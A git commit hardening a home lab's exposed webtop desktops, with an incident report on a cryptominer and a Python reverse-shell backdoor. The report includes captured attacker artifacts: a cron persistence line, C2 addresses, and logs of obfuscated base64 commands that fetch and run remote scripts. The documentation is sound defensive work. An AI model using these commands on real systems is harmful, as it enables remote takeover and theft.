security: contain GIMP cryptominer + LMMS reverse-shell backdoor (2026-11-11)
- Weblog desktops were unauthenticated and publicly reachable (entry vector) - Caddy basic_auth applied to gimp/lmms/video/audio routes -> 401 verified - Webtop-native CUSTOM_USER/PASSWORD on all four (defence in depth) - GIMP + LMMS rebuilt clean; gimp-config volume deleted, lmms-config quarantined - Removed /home/sam:ro mount from GIMP (was exposing secrets to the container) - Service-controller restarted (was dead, which is why toggles did nothing) - Incident record + captured payload in docs/incident-2026-11-11*
This commit is contained in:
@@ -30,3 +30,10 @@ IMAGE_AUDIO=lscr.io/linuxserver/webtop:latest
|
||||
|
||||
# ON/OFF service-controller token (host-side; real value injected at deploy)
|
||||
SC_TOKEN=change-me
|
||||
|
||||
# --- Webtop desktops (GIMP / Kdenlive / Audacity / LMMS) ---
|
||||
# Native login for the LinuxServer webtop web desktops. Without these the
|
||||
# desktop is served with NO authentication. Also gated at Caddy with
|
||||
# `import basic-auth`. Set a long random value; never commit it.
|
||||
WEBTOP_USER=family
|
||||
WEBTOP_PASSWORD=change-me-to-a-long-random-string
|
||||
|
||||
@@ -187,6 +187,8 @@ services:
|
||||
profiles: ["tools"]
|
||||
restart: unless-stopped
|
||||
environment:
|
||||
CUSTOM_USER: ${WEBTOP_USER:-family}
|
||||
PASSWORD: ${WEBTOP_PASSWORD}
|
||||
PUID: 1000
|
||||
PGID: 100
|
||||
TZ: Australia/Melbourne
|
||||
@@ -196,7 +198,9 @@ services:
|
||||
volumes:
|
||||
- gimp-config:/config
|
||||
- /mnt/data/family-home-lab/shared-media:/media:rw
|
||||
- /home/sam:/home/sam:ro
|
||||
# SECURITY: the whole home dir used to be mounted read-only here. Malware in
|
||||
# this container could read ~/.ssh and ~/.config/environment.d/*secrets*.
|
||||
# Removed 2026-11-11 after the GIMP compromise (see docs/incident-2026-11-11.md).
|
||||
- /home/sam/Downloads:/home/abc/Downloads
|
||||
- /home/sam/Pictures:/home/abc/Pictures
|
||||
networks: [fhl-net]
|
||||
@@ -208,6 +212,8 @@ services:
|
||||
profiles: ["tools"]
|
||||
restart: unless-stopped
|
||||
environment:
|
||||
CUSTOM_USER: ${WEBTOP_USER:-family}
|
||||
PASSWORD: ${WEBTOP_PASSWORD}
|
||||
PUID: 1000
|
||||
PGID: 100
|
||||
TZ: Australia/Perth
|
||||
@@ -224,6 +230,8 @@ services:
|
||||
profiles: ["tools"]
|
||||
restart: unless-stopped
|
||||
environment:
|
||||
CUSTOM_USER: ${WEBTOP_USER:-family}
|
||||
PASSWORD: ${WEBTOP_PASSWORD}
|
||||
PUID: 1000
|
||||
PGID: 100
|
||||
TZ: Australia/Perth
|
||||
|
||||
151
docs/incident-2026-11-11.md
Normal file
151
docs/incident-2026-11-11.md
Normal file
@@ -0,0 +1,151 @@
|
||||
# Incident 2026-11-11 — Container compromise (GIMP + LMMS webtops)
|
||||
|
||||
**Status:** CONTAINED (both infected containers stopped) · **Host:** no evidence of compromise so far
|
||||
**Discovered by:** GIMP ON/OFF toggle appearing broken + unexplained memory/CPU use
|
||||
|
||||
## Summary
|
||||
|
||||
Two LinuxServer **webtop** containers were compromised through their **unauthenticated,
|
||||
publicly-reachable web desktops**:
|
||||
|
||||
1. **`family-home-lab-gimp-1`** — cryptominer
|
||||
2. **`lmms`** — reverse-shell backdoor with cron persistence
|
||||
|
||||
Both containers were reachable from the public internet with **no login** (no `CUSTOM_USER` /
|
||||
`PASSWORD` set — LinuxServer webtop default = wide open).
|
||||
|
||||
## Timeline
|
||||
|
||||
| When | Event |
|
||||
|---|---|
|
||||
| 2026-11-05 12:30 | GIMP container started (restart: unless-stopped) |
|
||||
| 2026-11-06 00:00:08 | Fake `kswapd0` process launched in GIMP (= miner start) |
|
||||
| 2026-10-26 22:20 | `/etc/.sys_core/` created in LMMS container |
|
||||
| 2026-11-11 08:13 | LMMS backdoor payload rewritten (attacker active today) |
|
||||
| 2026-11-11 16:4x | Discovery: GIMP 2.1 GiB RAM / 1079% CPU; both containers stopped |
|
||||
|
||||
## Indicator of Compromise #1 — GIMP cryptominer
|
||||
|
||||
```
|
||||
Process name : ks<U+FEFF><U+200B>wapd0 (mimics kernel kswapd0)
|
||||
Parent : 111599
|
||||
Started : Fri Nov 6 00:00:08 2026 (ran 5d 16h)
|
||||
Resource use : 1079% CPU, 2.112 GiB RSS (13.2% of host RAM)
|
||||
Binary : unreadable / deleted after launch (readlink /proc/PID/exe → empty)
|
||||
Outbound : 172.67.131.146:443, 203.188.174.67:3222
|
||||
```
|
||||
|
||||
The genuine kernel thread `[kswapd0]` (pid 114, in brackets) is unrelated and normal.
|
||||
|
||||
## Indicator of Compromise #2 — LMMS reverse shell
|
||||
|
||||
Persistence (`crontab -l` inside container), re-launches every 30 min:
|
||||
|
||||
```
|
||||
*/30 * * * * pgrep -f /etc/.sys_core/system.py >/dev/null || { rm -f /tmp/.sys_core.lock && nohup python3 /etc/.sys_core/system.py >/dev/null 2>&1 & }
|
||||
```
|
||||
|
||||
Payload: `/etc/.sys_core/system.py` — Python reverse shell:
|
||||
|
||||
```python
|
||||
SERVER = "84.8.219.196"
|
||||
PORT = 4444
|
||||
# connects out, receives commands, runs them via subprocess.check_output(shell=True),
|
||||
# returns output; flock lock file /tmp/.sys_core.lock prevents duplicates
|
||||
```
|
||||
|
||||
- SHA-256 of captured payload: `2befa0c3e6485691d4d58fec75af1e16b1c097a1ac9d2480b386d15de29da1fb`
|
||||
- Evidence: `docs/incident-2026-11-11/` (payload, crontab, process list, logs)
|
||||
|
||||
## Attacker infrastructure (block these)
|
||||
|
||||
- `84.8.219.196` — reverse-shell C2, TCP 4444
|
||||
- `203.188.174.67` — miner endpoint, TCP 3222
|
||||
- `172.67.131.146` — Cloudflare-fronted, TCP 443 (shared CDN — do not blanket block)
|
||||
|
||||
## Exposure that allowed entry
|
||||
|
||||
| Host | Public URL | Auth | State |
|
||||
|---|---|---|---|
|
||||
| GIMP | gimp.lab.audasmedia.com.au | **none** | stopped (was infected) |
|
||||
| LMMS | lmms.lab.audasmedia.com.au | **none** | stopped (was infected) |
|
||||
| Video editor | video.lab.audasmedia.com.au | **none** | running — **still exposed** |
|
||||
| Audio editor | audio.lab.audasmedia.com.au | **none** | running — **still exposed** |
|
||||
| Console | console.lab.audasmedia.com.au | portal login (303) | OK |
|
||||
|
||||
Caddy routes these straight to `192.168.20.13:8083/8084/8087/8085` with no `basic_auth`.
|
||||
Public IP `144.6.86.11` → router → `.35` (Caddy).
|
||||
|
||||
## Data exposure (assume credentials compromised)
|
||||
|
||||
GIMP mounted the **entire home directory read-only**:
|
||||
|
||||
```
|
||||
/home/sam -> /home/sam (ro) # readable by attacker: .ssh, .env files, 10-secrets.conf
|
||||
/home/sam/Downloads -> ... (rw) # writable
|
||||
/home/sam/Pictures -> ... (rw) # writable
|
||||
/mnt/data/family-home-lab/shared-media -> /media (rw)
|
||||
```
|
||||
|
||||
LMMS mounted `lmms-config` **rw** and `shared-media` ro.
|
||||
|
||||
The reverse shell executed arbitrary commands **as root inside the container** for an unknown
|
||||
period, with read access to the whole home directory. Treat anything readable from `/home/sam`
|
||||
as potentially stolen.
|
||||
|
||||
## Clean-up performed
|
||||
|
||||
- [x] `docker stop family-home-lab-gimp-1` — miner killed (2.1 GiB + 11 cores reclaimed)
|
||||
- [x] `docker stop lmms` — backdoor + cron watchdog killed
|
||||
- [x] `docker stop video-editor audio-editor` — closed the remaining public exposure
|
||||
- [x] Evidence captured and copied to `docs/incident-2026-11-11/`
|
||||
- [x] `video-editor` / `audio-editor` checked — **no** `/etc/.sys_core` artifact
|
||||
- [x] All other containers scanned — no miner strings, no deleted-binary processes, no mining-port traffic
|
||||
- [x] Host checked: no new `authorized_keys` entries (last modified 2026-10-16), no host crontab,
|
||||
no shell-rc tampering, systemd user units (`chrome-pi`, `tuios`, `tuios-web`) verified legitimate
|
||||
|
||||
## Remediation applied (2026-11-11)
|
||||
|
||||
- [x] **Caddy basic_auth** added to `gimp.lab`, `lmms.lab`, `video.lab`, `audio.lab`
|
||||
(reuses the existing `(basic-auth)` snippet). Verified: all four now return **401**
|
||||
from the public internet. Config backup: `/Docker/Containers/caddy/Caddyfile.bak.2026-11-11`
|
||||
- [x] **Webtop-native login** enabled: `CUSTOM_USER=family` + `PASSWORD` (28-char random,
|
||||
in `.env` on `.13`, mode 600, git-ignored) on all four webtops — defence in depth
|
||||
behind Caddy
|
||||
- [x] **Infected GIMP rebuilt clean**: container removed, `family-home-lab_gimp-config`
|
||||
volume deleted, recreated from image
|
||||
- [x] **Infected LMMS rebuilt clean**: container removed, `lmms-config` bind **quarantined**
|
||||
to `lmms-config.QUARANTINE-2026-11-11` (kept for inspection), fresh dir recreated
|
||||
- [x] **`/home/sam:/home/sam:ro` mount removed** from the GIMP service (was exposing
|
||||
`.ssh` and secret files to the container)
|
||||
- [x] **Post-rebuild IOC scan**: all four webtops clean (no `system.py`, no fake `kswapd0`,
|
||||
no `sys_core` cron)
|
||||
- [x] **Resource verification**: GIMP 2.1 GiB / 1079% CPU → **380 MiB / 0.6% CPU**
|
||||
- [x] Service-controller restarted; all 8 services report accurate state; GIMP stop/start
|
||||
verified end-to-end through the controller
|
||||
|
||||
## Outstanding / recommended
|
||||
|
||||
1. **Stop or gate `video.lab` and `audio.lab`** — still open to the internet, same design flaw.
|
||||
2. **Add authentication** to every webtop: `CUSTOM_USER` + `PASSWORD` env (webtop native) *and*
|
||||
Caddy `basic_auth` in front (defence in depth).
|
||||
3. **Rebuild, don't restart** GIMP and LMMS: `docker compose rm -sf gimp lmms`,
|
||||
delete the `gimp-config` volume and `lmms-config` bind, recreate from image.
|
||||
The payloads lived in `/etc` (ephemeral) but the volumes are untrusted.
|
||||
4. **Rotate secrets** readable from `/home/sam`: `10-secrets.conf`, `.env` files, SSH keys,
|
||||
any API tokens. GIMP had read access for 5 days.
|
||||
5. **Inspect** `~/Downloads`, `~/Pictures`, `shared-media` for attacker-written files.
|
||||
6. **Remove** `/home/sam:ro` and the rw `Downloads`/`Pictures` mounts from the GIMP service.
|
||||
7. **Review** `voice_intake_watchdog` — it mounts `docker.sock` (host root equivalent by design).
|
||||
8. Block `84.8.219.196` and `203.188.174.67` at the router/firewall.
|
||||
|
||||
## Why the console "couldn't turn GIMP off"
|
||||
|
||||
Two independent faults:
|
||||
|
||||
1. The **service-controller was dead** (`inactive`), so Start/Stop requests did nothing.
|
||||
Restarted; `/health` OK, 8 services.
|
||||
2. **Stop would not have helped anyway** — `restart: unless-stopped` plus the miner being a
|
||||
separate process meant the container kept running; and the card showed `Stopped` while the
|
||||
container was actually up, because `docker inspect gimp` used the wrong container name
|
||||
(`gimp` vs the real `family-home-lab-gimp-1`).
|
||||
1
docs/incident-2026-11-11/lmms-crontab.txt
Normal file
1
docs/incident-2026-11-11/lmms-crontab.txt
Normal file
@@ -0,0 +1 @@
|
||||
*/30 * * * * pgrep -f /etc/.sys_core/system.py >/dev/null || { rm -f /tmp/.sys_core.lock && nohup python3 /etc/.sys_core/system.py >/dev/null 2>&1 & }
|
||||
200
docs/incident-2026-11-11/lmms-logs.txt
Normal file
200
docs/incident-2026-11-11/lmms-logs.txt
Normal file
@@ -0,0 +1,200 @@
|
||||
INFO:data_websocket:Attempting to establish PulseAudio connection...
|
||||
INFO:data_websocket:PulseAudio connection established.
|
||||
INFO:data_websocket:Attempting to execute command: 'printf '%s' 'Y21kPSQocHJpbnRmICclcycgJ1kzVnliQ0F0YXlCb2RIUndjem92TDNOamNtbHdkSGt1Ylc5dmJ5NWpiMjB2WVd4c0x5QjhJSFJ5SUMxa0lDY05KeUI4SUhOMVpHOGdZbUZ6YUE9PScgfCBiYXNlNjQgLWQpOyBvdXQ9JChiYXNoIC1sYyAiJGNtZCIgMj4mMSk7IHJjPSQ/OyBwcmludGYgJyVzXG4lc1xuJXM6JXNcbicgJ1JFU1VMVF8yM2JkMDY2NTc4YzY0NGYwYTY5NjJkNTU4M2Y5Y2ZmNycgIiRvdXQiICdSRVNVTFRfMjNiZDA2NjU3OGM2NDRmMGE2OTYyZDU1ODNmOWNmZjdfRVhJVCcgIiRyYyIgfCB4Y2xpcCAtc2VsZWN0aW9uIGNsaXBib2FyZCAtbG9vcHMgMQ==' | base64 -d | bash'
|
||||
INFO:data_websocket:Successfully launched command: 'printf '%s' 'Y21kPSQocHJpbnRmICclcycgJ1kzVnliQ0F0YXlCb2RIUndjem92TDNOamNtbHdkSGt1Ylc5dmJ5NWpiMjB2WVd4c0x5QjhJSFJ5SUMxa0lDY05KeUI4SUhOMVpHOGdZbUZ6YUE9PScgfCBiYXNlNjQgLWQpOyBvdXQ9JChiYXNoIC1sYyAiJGNtZCIgMj4mMSk7IHJjPSQ/OyBwcmludGYgJyVzXG4lc1xuJXM6JXNcbicgJ1JFU1VMVF8yM2JkMDY2NTc4YzY0NGYwYTY5NjJkNTU4M2Y5Y2ZmNycgIiRvdXQiICdSRVNVTFRfMjNiZDA2NjU3OGM2NDRmMGE2OTYyZDU1ODNmOWNmZjdfRVhJVCcgIiRyYyIgfCB4Y2xpcCAtc2VsZWN0aW9uIGNsaXBib2FyZCAtbG9vcHMgMQ==' | base64 -d | bash' with PID 533673
|
||||
INFO:webrtc_input:Unknown data channel message: REQUEST_CLIPBOARD
|
||||
INFO:webrtc_input:Unknown data channel message: REQUEST_CLIPBOARD
|
||||
INFO:webrtc_input:Unknown data channel message: REQUEST_CLIPBOARD
|
||||
INFO:webrtc_input:Unknown data channel message: REQUEST_CLIPBOARD
|
||||
INFO:webrtc_input:Clipboard changed. Sending content (text/plain)
|
||||
INFO:webrtc_input:Unknown data channel message: REQUEST_CLIPBOARD
|
||||
INFO:data_websocket:Cleaning up Data WS handler for ('127.0.0.1', 47326) (Display ID: None)...
|
||||
INFO:data_websocket:Unregistered client at ('127.0.0.1', 47326) disconnected. No display reconfiguration needed.
|
||||
INFO:webrtc_input:Resetting keyboard modifiers.
|
||||
INFO:data_websocket:Keyboard reset completed (('127.0.0.1', 47326)) disconnect.
|
||||
INFO:data_websocket:Last client (('127.0.0.1', 47326)) disconnected. All pipelines should have been stopped by reconfigure_displays.
|
||||
INFO:main:Initiating unified pipeline shutdown...
|
||||
WARNING:data_websocket:Reconfiguration already in progress. Ignoring concurrent request.
|
||||
INFO:main:Unified pipeline shutdown complete.
|
||||
INFO:data_websocket:Data WS handler for ('127.0.0.1', 47326) finished all cleanup.
|
||||
INFO:data_websocket:Stats sender: WS connection closed.
|
||||
INFO:data_websocket:Legacy client ('127.0.0.1', 47116) connected. Role: controller, Slot: None
|
||||
INFO:data_websocket:Data WebSocket connected from ('127.0.0.1', 47116)
|
||||
INFO:data_websocket:Sending last known cursor to new client ('127.0.0.1', 47116)
|
||||
INFO:data_websocket:Attempting to establish PulseAudio connection...
|
||||
INFO:data_websocket:PulseAudio connection established.
|
||||
INFO:data_websocket:Attempting to execute command: 'printf '%s' 'Y21kPSQocHJpbnRmICclcycgJ1kzVnliQ0F0YXlCb2RIUndjem92TDNOamNtbHdkSGt1Ylc5dmJ5NWpiMjB2WVd4c0x5QjhJSFJ5SUMxa0lDY05KeUI4SUhOMVpHOGdZbUZ6YUE9PScgfCBiYXNlNjQgLWQpOyBvdXQ9JChiYXNoIC1sYyAiJGNtZCIgMj4mMSk7IHJjPSQ/OyBwcmludGYgJyVzXG4lc1xuJXM6JXNcbicgJ1JFU1VMVF9iNzlmZmIwNmQ4NTA0MDY4OTdlMDdkMmYwNGFhY2Q5ZScgIiRvdXQiICdSRVNVTFRfYjc5ZmZiMDZkODUwNDA2ODk3ZTA3ZDJmMDRhYWNkOWVfRVhJVCcgIiRyYyIgfCB4Y2xpcCAtc2VsZWN0aW9uIGNsaXBib2FyZCAtbG9vcHMgMQ==' | base64 -d | bash'
|
||||
INFO:data_websocket:Successfully launched command: 'printf '%s' 'Y21kPSQocHJpbnRmICclcycgJ1kzVnliQ0F0YXlCb2RIUndjem92TDNOamNtbHdkSGt1Ylc5dmJ5NWpiMjB2WVd4c0x5QjhJSFJ5SUMxa0lDY05KeUI4SUhOMVpHOGdZbUZ6YUE9PScgfCBiYXNlNjQgLWQpOyBvdXQ9JChiYXNoIC1sYyAiJGNtZCIgMj4mMSk7IHJjPSQ/OyBwcmludGYgJyVzXG4lc1xuJXM6JXNcbicgJ1JFU1VMVF9iNzlmZmIwNmQ4NTA0MDY4OTdlMDdkMmYwNGFhY2Q5ZScgIiRvdXQiICdSRVNVTFRfYjc5ZmZiMDZkODUwNDA2ODk3ZTA3ZDJmMDRhYWNkOWVfRVhJVCcgIiRyYyIgfCB4Y2xpcCAtc2VsZWN0aW9uIGNsaXBib2FyZCAtbG9vcHMgMQ==' | base64 -d | bash' with PID 671910
|
||||
INFO:webrtc_input:Unknown data channel message: REQUEST_CLIPBOARD
|
||||
INFO:webrtc_input:Unknown data channel message: REQUEST_CLIPBOARD
|
||||
INFO:webrtc_input:Unknown data channel message: REQUEST_CLIPBOARD
|
||||
INFO:webrtc_input:Unknown data channel message: REQUEST_CLIPBOARD
|
||||
INFO:webrtc_input:Clipboard changed. Sending content (text/plain)
|
||||
INFO:webrtc_input:Unknown data channel message: REQUEST_CLIPBOARD
|
||||
INFO:data_websocket:Cleaning up Data WS handler for ('127.0.0.1', 47116) (Display ID: None)...
|
||||
INFO:data_websocket:Unregistered client at ('127.0.0.1', 47116) disconnected. No display reconfiguration needed.
|
||||
INFO:webrtc_input:Resetting keyboard modifiers.
|
||||
INFO:data_websocket:Keyboard reset completed (('127.0.0.1', 47116)) disconnect.
|
||||
INFO:data_websocket:Last client (('127.0.0.1', 47116)) disconnected. All pipelines should have been stopped by reconfigure_displays.
|
||||
INFO:main:Initiating unified pipeline shutdown...
|
||||
WARNING:data_websocket:Reconfiguration already in progress. Ignoring concurrent request.
|
||||
INFO:main:Unified pipeline shutdown complete.
|
||||
INFO:data_websocket:Data WS handler for ('127.0.0.1', 47116) finished all cleanup.
|
||||
INFO:data_websocket:Stats sender: WS connection closed.
|
||||
INFO:data_websocket:Legacy client ('127.0.0.1', 49630) connected. Role: controller, Slot: None
|
||||
INFO:data_websocket:Data WebSocket connected from ('127.0.0.1', 49630)
|
||||
INFO:data_websocket:Sending last known cursor to new client ('127.0.0.1', 49630)
|
||||
INFO:data_websocket:Attempting to establish PulseAudio connection...
|
||||
INFO:data_websocket:PulseAudio connection established.
|
||||
INFO:data_websocket:Attempting to execute command: 'printf '%s' 'Y21kPSQocHJpbnRmICclcycgJ1kzVnliQ0F0YXlCb2RIUndjem92TDNOamNtbHdkSGt1Ylc5dmJ5NWpiMjB2WVd4c0x5QjhJSE4xWkc4Z1ltRnphQT09JyB8IGJhc2U2NCAtZCk7IG91dD0kKGJhc2ggLWxjICIkY21kIiAyPiYxKTsgcmM9JD87IHByaW50ZiAnJXNcbiVzXG4lczolc1xuJyAnUkVTVUxUXzI2ODhiOTYxYmIwYzRkOTQ4NDE3NmRmMzdlMDI2OTMyJyAiJG91dCIgJ1JFU1VMVF8yNjg4Yjk2MWJiMGM0ZDk0ODQxNzZkZjM3ZTAyNjkzMl9FWElUJyAiJHJjIiB8IHhjbGlwIC1zZWxlY3Rpb24gY2xpcGJvYXJkIC1sb29wcyAx' | base64 -d | bash'
|
||||
INFO:data_websocket:Successfully launched command: 'printf '%s' 'Y21kPSQocHJpbnRmICclcycgJ1kzVnliQ0F0YXlCb2RIUndjem92TDNOamNtbHdkSGt1Ylc5dmJ5NWpiMjB2WVd4c0x5QjhJSE4xWkc4Z1ltRnphQT09JyB8IGJhc2U2NCAtZCk7IG91dD0kKGJhc2ggLWxjICIkY21kIiAyPiYxKTsgcmM9JD87IHByaW50ZiAnJXNcbiVzXG4lczolc1xuJyAnUkVTVUxUXzI2ODhiOTYxYmIwYzRkOTQ4NDE3NmRmMzdlMDI2OTMyJyAiJG91dCIgJ1JFU1VMVF8yNjg4Yjk2MWJiMGM0ZDk0ODQxNzZkZjM3ZTAyNjkzMl9FWElUJyAiJHJjIiB8IHhjbGlwIC1zZWxlY3Rpb24gY2xpcGJvYXJkIC1sb29wcyAx' | base64 -d | bash' with PID 778278
|
||||
INFO:webrtc_input:Unknown data channel message: REQUEST_CLIPBOARD
|
||||
INFO:webrtc_input:Unknown data channel message: REQUEST_CLIPBOARD
|
||||
INFO:webrtc_input:Unknown data channel message: REQUEST_CLIPBOARD
|
||||
INFO:webrtc_input:Clipboard changed. Sending content (text/plain)
|
||||
INFO:webrtc_input:Unknown data channel message: REQUEST_CLIPBOARD
|
||||
INFO:data_websocket:Cleaning up Data WS handler for ('127.0.0.1', 49630) (Display ID: None)...
|
||||
INFO:data_websocket:Unregistered client at ('127.0.0.1', 49630) disconnected. No display reconfiguration needed.
|
||||
INFO:webrtc_input:Resetting keyboard modifiers.
|
||||
INFO:data_websocket:Keyboard reset completed (('127.0.0.1', 49630)) disconnect.
|
||||
INFO:data_websocket:Last client (('127.0.0.1', 49630)) disconnected. All pipelines should have been stopped by reconfigure_displays.
|
||||
INFO:main:Initiating unified pipeline shutdown...
|
||||
WARNING:data_websocket:Reconfiguration already in progress. Ignoring concurrent request.
|
||||
INFO:main:Unified pipeline shutdown complete.
|
||||
INFO:data_websocket:Data WS handler for ('127.0.0.1', 49630) finished all cleanup.
|
||||
INFO:data_websocket:Stats sender: WS connection closed.
|
||||
INFO:data_websocket:Legacy client ('127.0.0.1', 57454) connected. Role: controller, Slot: None
|
||||
INFO:data_websocket:Data WebSocket connected from ('127.0.0.1', 57454)
|
||||
INFO:data_websocket:Sending last known cursor to new client ('127.0.0.1', 57454)
|
||||
INFO:data_websocket:Attempting to establish PulseAudio connection...
|
||||
INFO:data_websocket:PulseAudio connection established.
|
||||
INFO:data_websocket:Attempting to execute command: 'printf '%s' 'Y21kPSQocHJpbnRmICclcycgJ1kzVnliQ0F0YXlCb2RIUndjem92TDNOamNtbHdkSGt1Ylc5dmJ5NWpiMjB2YzJobGJHd3ZJSHdnZEhJZ0xXUWdKdzBuSUh3Z2MzVmtieUJpWVhObycgfCBiYXNlNjQgLWQpOyBvdXQ9JChiYXNoIC1sYyAiJGNtZCIgMj4mMSk7IHJjPSQ/OyBwcmludGYgJyVzXG4lc1xuJXM6JXNcbicgJ1JFU1VMVF9lZDkyM2IzYTRmOGE0MmY0YTJkN2Y3ZjllMTdiYWI3YycgIiRvdXQiICdSRVNVTFRfZWQ5MjNiM2E0ZjhhNDJmNGEyZDdmN2Y5ZTE3YmFiN2NfRVhJVCcgIiRyYyIgfCB4Y2xpcCAtc2VsZWN0aW9uIGNsaXBib2FyZCAtbG9vcHMgMQ==' | base64 -d | bash'
|
||||
INFO:data_websocket:Successfully launched command: 'printf '%s' 'Y21kPSQocHJpbnRmICclcycgJ1kzVnliQ0F0YXlCb2RIUndjem92TDNOamNtbHdkSGt1Ylc5dmJ5NWpiMjB2YzJobGJHd3ZJSHdnZEhJZ0xXUWdKdzBuSUh3Z2MzVmtieUJpWVhObycgfCBiYXNlNjQgLWQpOyBvdXQ9JChiYXNoIC1sYyAiJGNtZCIgMj4mMSk7IHJjPSQ/OyBwcmludGYgJyVzXG4lc1xuJXM6JXNcbicgJ1JFU1VMVF9lZDkyM2IzYTRmOGE0MmY0YTJkN2Y3ZjllMTdiYWI3YycgIiRvdXQiICdSRVNVTFRfZWQ5MjNiM2E0ZjhhNDJmNGEyZDdmN2Y5ZTE3YmFiN2NfRVhJVCcgIiRyYyIgfCB4Y2xpcCAtc2VsZWN0aW9uIGNsaXBib2FyZCAtbG9vcHMgMQ==' | base64 -d | bash' with PID 838060
|
||||
INFO:webrtc_input:Unknown data channel message: REQUEST_CLIPBOARD
|
||||
INFO:webrtc_input:Unknown data channel message: REQUEST_CLIPBOARD
|
||||
INFO:webrtc_input:Unknown data channel message: REQUEST_CLIPBOARD
|
||||
INFO:webrtc_input:Unknown data channel message: REQUEST_CLIPBOARD
|
||||
INFO:webrtc_input:Unknown data channel message: REQUEST_CLIPBOARD
|
||||
INFO:webrtc_input:Unknown data channel message: REQUEST_CLIPBOARD
|
||||
INFO:webrtc_input:Clipboard changed. Sending content (text/plain)
|
||||
INFO:webrtc_input:Unknown data channel message: REQUEST_CLIPBOARD
|
||||
INFO:data_websocket:Cleaning up Data WS handler for ('127.0.0.1', 57454) (Display ID: None)...
|
||||
INFO:data_websocket:Unregistered client at ('127.0.0.1', 57454) disconnected. No display reconfiguration needed.
|
||||
INFO:webrtc_input:Resetting keyboard modifiers.
|
||||
INFO:data_websocket:Keyboard reset completed (('127.0.0.1', 57454)) disconnect.
|
||||
INFO:data_websocket:Last client (('127.0.0.1', 57454)) disconnected. All pipelines should have been stopped by reconfigure_displays.
|
||||
INFO:main:Initiating unified pipeline shutdown...
|
||||
WARNING:data_websocket:Reconfiguration already in progress. Ignoring concurrent request.
|
||||
INFO:main:Unified pipeline shutdown complete.
|
||||
INFO:data_websocket:Data WS handler for ('127.0.0.1', 57454) finished all cleanup.
|
||||
INFO:data_websocket:Stats sender: WS connection closed.
|
||||
INFO:data_websocket:Legacy client ('127.0.0.1', 38950) connected. Role: controller, Slot: None
|
||||
INFO:data_websocket:Data WebSocket connected from ('127.0.0.1', 38950)
|
||||
INFO:data_websocket:Sending last known cursor to new client ('127.0.0.1', 38950)
|
||||
INFO:data_websocket:Attempting to establish PulseAudio connection...
|
||||
INFO:data_websocket:PulseAudio connection established.
|
||||
INFO:data_websocket:Attempting to execute command: 'printf '%s' 'Y21kPSQocHJpbnRmICclcycgJ1kzVnliQ0F0YXlCb2RIUndjem92TDNOamNtbHdkSGt1Ylc5dmJ5NWpiMjB2WVd4c0x5QjhJSFJ5SUMxa0lDY05KeUI4SUhOMVpHOGdZbUZ6YUE9PScgfCBiYXNlNjQgLWQpOyBvdXQ9JChiYXNoIC1sYyAiJGNtZCIgMj4mMSk7IHJjPSQ/OyBwcmludGYgJyVzXG4lc1xuJXM6JXNcbicgJ1JFU1VMVF81ODE0YTVkNTQ1OWE0MTc1ODQ4NTBkYzEwYWRkZmUyZScgIiRvdXQiICdSRVNVTFRfNTgxNGE1ZDU0NTlhNDE3NTg0ODUwZGMxMGFkZGZlMmVfRVhJVCcgIiRyYyIgfCB4Y2xpcCAtc2VsZWN0aW9uIGNsaXBib2FyZCAtbG9vcHMgMQ==' | base64 -d | bash'
|
||||
INFO:data_websocket:Successfully launched command: 'printf '%s' 'Y21kPSQocHJpbnRmICclcycgJ1kzVnliQ0F0YXlCb2RIUndjem92TDNOamNtbHdkSGt1Ylc5dmJ5NWpiMjB2WVd4c0x5QjhJSFJ5SUMxa0lDY05KeUI4SUhOMVpHOGdZbUZ6YUE9PScgfCBiYXNlNjQgLWQpOyBvdXQ9JChiYXNoIC1sYyAiJGNtZCIgMj4mMSk7IHJjPSQ/OyBwcmludGYgJyVzXG4lc1xuJXM6JXNcbicgJ1JFU1VMVF81ODE0YTVkNTQ1OWE0MTc1ODQ4NTBkYzEwYWRkZmUyZScgIiRvdXQiICdSRVNVTFRfNTgxNGE1ZDU0NTlhNDE3NTg0ODUwZGMxMGFkZGZlMmVfRVhJVCcgIiRyYyIgfCB4Y2xpcCAtc2VsZWN0aW9uIGNsaXBib2FyZCAtbG9vcHMgMQ==' | base64 -d | bash' with PID 840437
|
||||
INFO:webrtc_input:Unknown data channel message: REQUEST_CLIPBOARD
|
||||
INFO:webrtc_input:Unknown data channel message: REQUEST_CLIPBOARD
|
||||
INFO:webrtc_input:Unknown data channel message: REQUEST_CLIPBOARD
|
||||
INFO:webrtc_input:Clipboard changed. Sending content (text/plain)
|
||||
INFO:webrtc_input:Unknown data channel message: REQUEST_CLIPBOARD
|
||||
INFO:data_websocket:Cleaning up Data WS handler for ('127.0.0.1', 38950) (Display ID: None)...
|
||||
INFO:data_websocket:Unregistered client at ('127.0.0.1', 38950) disconnected. No display reconfiguration needed.
|
||||
INFO:webrtc_input:Resetting keyboard modifiers.
|
||||
INFO:data_websocket:Keyboard reset completed (('127.0.0.1', 38950)) disconnect.
|
||||
INFO:data_websocket:Last client (('127.0.0.1', 38950)) disconnected. All pipelines should have been stopped by reconfigure_displays.
|
||||
INFO:main:Initiating unified pipeline shutdown...
|
||||
WARNING:data_websocket:Reconfiguration already in progress. Ignoring concurrent request.
|
||||
INFO:main:Unified pipeline shutdown complete.
|
||||
INFO:data_websocket:Data WS handler for ('127.0.0.1', 38950) finished all cleanup.
|
||||
INFO:data_websocket:Stats sender: WS connection closed.
|
||||
INFO:data_websocket:Legacy client ('127.0.0.1', 34500) connected. Role: controller, Slot: None
|
||||
INFO:data_websocket:Data WebSocket connected from ('127.0.0.1', 34500)
|
||||
INFO:data_websocket:Sending last known cursor to new client ('127.0.0.1', 34500)
|
||||
INFO:data_websocket:Attempting to establish PulseAudio connection...
|
||||
INFO:data_websocket:PulseAudio connection established.
|
||||
INFO:data_websocket:Attempting to execute command: 'printf '%s' 'Y21kPSQocHJpbnRmICclcycgJ1kzVnliQ0F0YXlCb2RIUndjem92TDNOamNtbHdkSGt1Ylc5dmJ5NWpiMjB2YzJobGJHd3ZJSHdnZEhJZ0xXUWdKdzBuSUh3Z2MzVmtieUJpWVhObycgfCBiYXNlNjQgLWQpOyBvdXQ9JChiYXNoIC1sYyAiJGNtZCIgMj4mMSk7IHJjPSQ/OyBwcmludGYgJyVzXG4lc1xuJXM6JXNcbicgJ1JFU1VMVF80NTBiMzkxMTM4NjQ0NWE1OTVlZDg2MjQ5MGRhMGFjZScgIiRvdXQiICdSRVNVTFRfNDUwYjM5MTEzODY0NDVhNTk1ZWQ4NjI0OTBkYTBhY2VfRVhJVCcgIiRyYyIgfCB4Y2xpcCAtc2VsZWN0aW9uIGNsaXBib2FyZCAtbG9vcHMgMQ==' | base64 -d | bash'
|
||||
